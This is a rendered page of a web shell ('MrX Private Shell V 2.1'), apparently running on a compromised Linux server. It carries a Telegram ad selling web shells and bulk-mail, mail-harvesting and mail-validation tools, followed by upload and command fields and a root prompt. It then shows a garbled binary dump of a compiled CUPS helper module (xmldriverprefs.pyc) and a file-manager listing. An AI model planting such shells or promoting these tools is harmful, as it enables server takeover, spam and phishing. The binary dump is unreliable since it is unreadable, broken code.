__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

�QDb�N���SSKrSSKrSSKrSSKJr Sr"SS5r"SS5r"S	S
5r	"SS5r
"S
S5rSSjrg)�N�)�
parseDeviceIDc��[RRR[	U5R55n[
U5$�N)�xml�etree�ElementTree�XML�open�read�list)�filename�preferreddriverss  �</usr/lib/python3/dist-packages/cupshelpers/xmldriverprefs.py�PreferredDriversrs6���y�y�,�,�0�0�$��/�2F�2F�2I�J��� �!�!�c�*�\rSrSrSrSrSrSrSrg)�
DeviceIDMatch� zC
A set of fields and regular expressions for matching a Device ID.
c�"�[5Ulgr)�dict�_re��selfs r�__init__�DeviceIDMatch.__init__$s���6��rc��[R"U[R5URUR	5'gr)�re�compile�Ir�upper)r�field�patterns   r�	add_field�DeviceIDMatch.add_field's%��#%�:�:�w����#=�������� rc��URR5H\up#X!;a gUS:Xa0SnXHnURU5(dMSn O U(d gURX5(aM\ g g)z�
Match against a parsed Device ID dictionary.

The CMD field is treated specially.  If any of the
comma-separated words in this field value match, the Device ID
pattern is considered to match.
F�CMDT)r�items�match)r�deviceidr"r)�this_field_matches�cmds      rr)�DeviceIDMatch.match*sv��!�H�H�N�N�-�L�E��$����~�%*�"�#�?�C��{�{�C�(�(�-1�*��+�
*� ��;�;���0�0��.�"r)rN)	�__name__�
__module__�__qualname__�__firstlineno__�__doc__rr$r)�__static_attributes__�rrrr s����>�rrc�h�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
SrS
rSrSrSrSrSrg)�
DriverType�Fz
A type of driver.
z	exact-cmd�exact�close�generic�nonec�t�XlSUl/Ul/Ul"SS5nU"5UlSUlg)Nc��\rSrSrSSjrSrg)�'DriverType.__init__.<locals>.AlwaysTrue�WNc��g�NTr4)r�k�ds   r�get�+DriverType.__init__.<locals>.AlwaysTrue.getXs��rr4r)r.r/r0r1rDr3r4rr�
AlwaysTruer>Ws��
rrF)�name�ppd_name�
attributesr*�_fit�_packagehint)rrGrFs   rr�DriverType.__init__Qs9���	���
������
�	�	��M��	� ��rc�t�[R"U[R5UlURbgURSS5n[
U5S:�a_USnUS:XaIUSnURS5(a-USSnURS5nUS	:waUSUnS
U-UlgggSU-Ulgg)z*
An optional PPD name regular expression.
N�:rr�drvz///��/���z/usr/share/cups/drv/%sz/usr/lib/cups/driver/%s)	rrr rHrK�split�len�
startswith�rfind)rr#�parts�scheme�restrO�fs       r�add_ppd_name�DriverType.add_ppd_name^s����
�
�G�R�T�T�2��
����(���
�
�s�A�&����;��?��1�X�F�����Q�x���?�?�E�*�*��q�r�(�C��	�	�3��A��B�w�!�"�1�g��,D�s�,J��)��+�%>��$F��!�rc��URRU[R"U[R545 g)zT
An optional IPP attribute name and regular expression to match
against its values.
N)rI�appendrrr )rrGr#s   r�
add_attribute�DriverType.add_attributews*��
	
������r�z�z�7�B�D�D�'A� B�Crc�:�URRU5 g)z(
An optional IEEE 1284 Device ID match.
N�r*r^�r�deviceid_matchs  r�add_deviceid_match�DriverType.add_deviceid_match~���	
�
�
���n�-rc��0UlUR5H<nSURU'X R:XdM#SURUR'M> grA)rJrS�	FIT_EXACT�
FIT_EXACT_CMD)r�text�fittypes   r�add_fit�DriverType.add_fit�sG����	��z�z�|�G�!%�D�I�I�g���.�.�(�04��	�	�$�,�,�-�$rc��Xlgr)�_packagekit)r�hints  r�set_packagehint�DriverType.set_packagehint�s���rc��UR$)z'
Return the name for this driver type.
)rGrs r�get_name�DriverType.get_name�s���y�y�rc�6�SUR[U54-$)Nz <DriverType %s instance at 0x%x>)rG�idrs r�__repr__�DriverType.__repr__�s��1�T�Y�Y��D�	�4J�J�Jrc���URRUS5nU(a3UR(a"URRU5(dSnU(ajURHZupVXR;aSn OPX%n[U[5(dU/nSnUHn	URU	5(dMSn O U(aMXSn O U(a�UR(a
SU;aSnU$UR(ajUSn
[U
[5(dU
/n
SnU
H<n[U5n
URHnURU
5(dMSn M: M> U(dSnU$)zm
Return True if there is a match for all specified criteria.

ppdname: string

attributes: dict

fit: string
FTz
ppd-device-id)	rJrDrHr)rI�
isinstancer
r*r)rrHrI�fit�matchesrGr)�values�any_value_matches�value�deviceidlist�any_id_matches�deviceidstrr*s              rr)�DriverType.match�sD���)�)�-�-��e�,���t�}�}�T�]�]�-@�-@�(�-K�-K��G��#������)�#�G��#�)��!�6�4�0�0�$�X�F�$)�!�#�E��{�{�E�*�*�,0�)��$�
)�(�#�G��% /�(��}�}��
�!B���(��'��� *�/�:��!�<��6�6�$0�>�L�!&��#/�K�,�k�:�H�!%���� �;�;��1�1�-1�N�!�"/�$0�&�#�G��rc��grr4rs r�get_packagehint�DriverType.get_packagehint�s��r)rJrKrprIr*rGrHN)r.r/r0r1r2rjri�	FIT_CLOSE�FIT_GENERIC�FIT_NONErr[r_rermrrruryr)r�r3r4rrr6r6FsX���$�M��I��I�!�K��H�!�G�2D�.�5� ��K�:�xrr6c�6�\rSrSrSrSrSrSrSrSr	Sr
g	)
�DriverTypes��z
A list of driver types.
c��/Ulgr��drivertypesrs rr�DriverTypes.__init__�s
����rc���/n[U5GHZn[URS5n[U5GHnURS:Xa UR	URS5 M4URS:Xa.URURSURS5 MrURS:Xam[
5n[U5HAnURS:XdMURURSURS5 MC URU5 M�URS:XdGMURUR5 GM  URU5 GM] X lg)	z1
Load the list of driver types from an XML file.
rG�ppdnamer)�	attributer*r"r}N)
r
r6�attrib�tagr[r_rr$rermrkr^r�)rr��types�
drivertype�t�childrdr"s        r�load�DriverTypes.load�s"��
���{�+�J��J�-�-�f�5�6�A��j�)���9�9�	�)��N�N�E�L�L��$9�:��Y�Y�+�-��O�O�U�\�\�&�%9�%*�\�\�'�%:�<��Y�Y�*�,�%2�%5�N�!%�e��� �9�9��/�*�4�4�e�l�l�6�6J�6;�l�l�7�6K�M�"-�
�(�(�.�9��Y�Y�%�'��I�I�u�z�z�*�*�"
�L�L�!��),�,!�rc�`�URHnURXU5(dMUs $ g)zx
Return the first matching drivertype for a PPD, given its name,
attributes, and fitness, or None if there is no match.
N)r�r))rr��ppddictr}r�s     rr)�DriverTypes.match�s2���*�*�J�����3�7�7�!�!�+�rc��[R"URVs/sHo"R5PM snU5$s snf)zC
Return the subset of driver type names that match a glob
pattern.
)�fnmatch�filterr�ru)rr#�xs   rr��DriverTypes.filter
s8���~�~�t�7G�7G�H�7G�!�
�
�
�7G�H�&�(�	(��Hs�Ac	��/n0n[RnUR5HhupxURXxUR	UU55n	U	(aU	R5n
OSn
UR	U
/5nUR
U5 X�U
'Mj UH5nUR	U/5HnXt;aM
UR
X�45 M M7 U$)a�
Given a list of driver type names, a dict of PPD attributes by
PPD name, and a dict of driver fitness status codes by PPD
name, return a list of tuples in the form (driver-type-name,
PPD-name), representing PPDs that match the list of driver
types.

The returned tuples will have driver types in the same order
as the driver types given, with the exception that any
blacklisted driver types will be omitted from the returned
result.
r;)r6r�r(r)rDrur^)
rr��ppdsdictr}�ppdnames�ppdtypes�fit_defaultrH�ppd_dictr�rG�m�drivertypenames
             r�get_ordered_ppdnames� DriverTypes.get_ordered_ppdnamess������� �*�*��"*�.�.�"3��H����X����(�BM�:O�P�J��!�*�*�-�������d�B�'�A�
�H�H�h���T�N�#4�*�N�$�L�L�.�"�=���'�����.�!;�<�	>�*��rr�N)r.r/r0r1r2rr�r)r�r�r3r4rrr�r��s ����!�<
�(�'rr�c�T�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
SrS
rg)�PrinterTypei<z�
A make-and-model pattern and/or set of IEEE 1284 Device ID
patterns for matching a set of printers, together with an ordered
list of driver type names.
c�j�SUl/Ul/Ul[5Ul[5Ulgr)�make_and_modelr*�drivertype_patterns�set�avoid�	blacklistrs rr�PrinterType.__init__Cs+��"�����
�#%�� ��U��
����rc�X�[R"U[R5Ulg)zB
Set a make-and-model regular expression.  Only one is permitted.
N)rrr r�)rr#s  r�add_make_and_model�PrinterType.add_make_and_modelJs��!�j�j�'�2�4�4�8��rc�:�URRU5 g)z
Add a Device ID match.
Nrbrcs  rre�PrinterType.add_deviceid_matchPrgrc�V�URRUR55 g)z
Append a driver type pattern.
N)r�r^�strip�rrGs  r�add_drivertype_pattern�"PrinterType.add_drivertype_patternVs��	
� � �'�'�����7rc��UR$)z*
Return the list of driver type patterns.
)r�rs r�get_drivertype_patterns�#PrinterType.get_drivertype_patterns\s���'�'�'rc�:�URRU5 g)z#
Add an avoid driver type pattern.
N)r��addr�s  r�add_avoidtype_pattern�!PrinterType.add_avoidtype_patternbs��	
�
�
����rc��UR$)z2
Return the set of driver type patterns to avoid.
)r�rs r�get_avoidtype_patterns�"PrinterType.get_avoidtype_patternshs���z�z�rc�:�URRU5 g)z(
Add a blacklisted driver type pattern.
N)r�r�r�s  r�add_blacklisted�PrinterType.add_blacklistedns��	
�����D�!rc��UR$)z5
Return the set of blacklisted driver type patterns.
)r�rs r�
get_blacklist�PrinterType.get_blacklistts���~�~�rc��URSL=(a UR/:HnUR(a"URRU5(aSnU(d.URHnURU5(dMSn U$ U$)a=
Return True if there are no constraints to match against; if
the make-and-model pattern matches; or if all of the IEEE 1284
Device ID patterns match.

The deviceid parameter must be a dict indexed by Device ID
field key, of strings; except for the CMD field which must be
a list of strings.

Return False otherwise.
NT)r�r*r))rr�r*r~r)s     rr)�PrinterType.matchzs{���&�&�$�.�F�4�=�=�B�3F������"�"�(�(�.�9�9���������;�;��)�)�"�G����'�
�r)r�r�r*r�r�N)r.r/r0r1r2rr�rer�r�r�r�r�r�r)r3r4rrr�r�<s9����9�.�8�(���"��rr�c�*�\rSrSrSrSrSrSrSrg)�PreferenceOrderi�z9
A policy for choosing the preference order for drivers.
c��/Ulgr��ptypesrs rr�PreferenceOrder.__init__�s	����rc�v�[U5GH�n[5n[U5GHpnURS:Xa URURS5 M4URS:Xam[5n[U5HAnURS:XdMUR
URSURS5 MC URU5 M�URS:Xa/[U5HnURUR5 M  M�URS:Xa0[U5HnURUR5 M  GM0URS:XdGMC[U5HnURUR5 M  GMs URRU5 GM� g	)
z#
Load the policy from an XML file.
zmake-and-modelr)r*r"rG�driversr�r�N)r
r�r�r�r�rr$rer�rkr�r�r�r^)rr�printer�ptyper�rdr"r�s        rr��PreferenceOrder.load�sM��
�,�-�G��N�E��g����9�9� 0�0��,�,�e�l�l�7�.C�D��Y�Y�*�,�%2�%5�N�!%�e��� �9�9��/�*�4�4�e�l�l�6�6J�6;�l�l�7�6K�M�"-��,�,�n�=��Y�Y�)�+�&*�5�k�
��4�4�j�o�o�F�'2��Y�Y�'�)�&*�5�k�
��3�3�Z�_�_�E�'2��Y�Y�+�-�&*�5�k�
��-�-�z���?�'2�)'�.
�K�K����&�3.rc�4�Uc0nUcSn/n[5n[5nURH�nURX#5(dMUR5H3nUR	U5Hn	X�;dM
URU	5 M M5 UR
5H,nUR	U5Hn	URU	5 M M. UR5H,nUR	U5Hn	URU	5 M M. M� U(aA/n
UH(nURU5nXL	U
RU5 M* URU
5 U(a%/n
UHnX�;dM
U
RU5 M U
nU$![a Mxf=f)z�
Return an accumulated list of driver types from all printer
types that match a given printer's device-make-and-model and
IEEE 1284 Device ID.

The deviceid parameter must be None or a dict indexed by
short-form upper-case field keys.
�)r�r�r)r�r�r^r�r�r��index�
IndexError�extend)rr�r�r*�orderedtypesr��
avoidtypesr�r#r��avoidedr��i�	remainings              r�get_ordered_types�!PreferenceOrder.get_ordered_types�s������H��!��N����E�	��U�
��[�[�E��{�{�N�5�5�$�<�<�?�G�&1�&8�&8�'�&B�
�%�9�(�/�/��<�'C� @� %�;�;�>�G�&1�&8�&8�'�&B�
�"���
�3�'C� ?� %�2�2�5�G�&1�&8�&8�'�&B�
�!�
�
�z�2�'C� 6�!�*��G����$�*�*�A�.�A�$���N�N�A�&�	 �
����)���I�!���%��$�$�a�(�"�%�L����"����s�"$F	�	
F�Fr�N)	r.r/r0r1r2rr�r�r3r4rrr�r��s����'�@=rr�c
��SSKnSSKnSSKJn SSKJn SSKJn SSKn	U(aSn
URU
5 URURS5 UcSU	RRU	RRU	RR[5S5S	5nX	RS
'U	RRUS5nU"5n[U5up�[!5nUR#U5 [%5nUR#U
5 U"5U-
nU(a['SUU4-5 UR)5nUR+5nUR1U5nU(dU(Ga�U(a"UR3S
5 UR55nO[7U5nSUUS<SUS<3S.0nUR95GH-unnUR;S5S:XaMUR=SS5n[?U[@5(aUSnU(dMSURCS5(d['U5 [7U5nUREUSUSUSUSU5nUR=SS5nURGUUU5n0nURI5HnURKU5UU'M URMUUU5nSnUH unn ['SUU UUU 4-5 US-
nM" GM0 gURO5H�n!URQU!5H�n"URSU!U"5n#U!S-U"-nURGUUS5n0nU#RI5Hn[TRVUU'M URMUU#U5n['US-5 SnUHunn ['SUU U4-5 US-
nM ['5 M� M� g![,a UR/5nGN�f=f)Nrr)�ppds)�pprint)�timec��[U5 gr)�print)r�s r�
debugprint�test.<locals>.debugprints	���1�Irr�z..r�CUPSHELPERS_XMLDIRzpreferreddrivers.xmlzTime to load %s: %.3fs�rootz	xxx://yyy�MFG� �MDL)�	device-id�device-make-and-modelrNrRr�zxxx:�DESr'r�z%d  %s
    (%s, %s)z%d  %s
    (%s)),�cups�localer�r�r�r��os.path�set_debugprint_fn�	setlocale�LC_ALL�path�join�dirname�__file__�environrr�r�r�r��
Connection�getPPDs2�AttributeError�getPPDs�PPDs�setUser�
getDevicesrr(�findrDr|r
rU�getPPDNamesFromDeviceIDr��keys�getInfoFromPPDNamer��getMakes�	getModels�getInfoFromModelr6r�)$�xml_path�attachedr*�debugr�r�r�r�r��osr��	loadstart�xmldrivertypes�xmlpreferenceorderr��	preforder�loadtime�c�cupsppds�	ppdfinder�devices�devid�uri�device�id_dictr}�mmr�r��orderedppdsr�r��ppd�make�modelr�s$                                    r�testr+�s����������	�	
���
�+�
���f�m�m�R�(����7�7�<�<������r�w�w����/I�/3�"5�!&�(��(0�J�J�#�$��w�w�|�|�X�'=�>�H���I�+;�X�+F�(�^��.�K����n�%��"�I�
�N�N�&�'��w��"�H��
�&�(�H�)=�=�>�����A� ��:�:�=��
�	�	�8�$�I��8���L�L�&�!��l�l�o�G�!�8�,�E�#�+3�BG��,�BG��,�8P� ��G�#�=�=�+�K�C���x�x��~��#���J�J��R�0�E��5�$�'�'��a������>�>�6�*�*��s��#�U�+�G��3�3�W�U�^�5<�U�^�5<�U�^�5<�U�^�58�	:�C����4�b�9�B�$�6�6��8:�G�E�L��D��8�8�;�� )� <� <�g� F��W�
�'�&�:�:�L�<@�<?�A�K��A�%���3��,��3��3�s�8�/D�D�E��Q���&�C,�J�&�&�)�D�"�,�,�d�3��$�5�5�t�U�C���C�Z�%�'��(�:�:�K�<>�� F����'�}�}�/�G�#-�#7�#7�C��L� 0�*�>�>��@H�#�O���b�3�h����)�F�A�s��,��3��{�:�;���F�A�*���%4�*��q� ��9�9�<�� �s�O%�%P�P)NFNF)
r�r�xml.etree.ElementTreer�cupshelpersrrrr6r�r�r�r+r4rr�<module>r.s]��.�	��&�"�$�$�LP�P�db�b�HV�V�pe�e�Por

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 1.08 KB 0644
config.cpython-313.pyc File 241 B 0644
cupshelpers.cpython-313.pyc File 35.32 KB 0644
debug.cpython-313.pyc File 1.84 KB 0644
installdriver.cpython-313.pyc File 2.88 KB 0644
openprinting.cpython-313.pyc File 18.44 KB 0644
ppds.cpython-313.pyc File 37.65 KB 0644
smburi.cpython-313.pyc File 3.62 KB 0644
xmldriverprefs.cpython-313.pyc File 22.39 KB 0644
Filemanager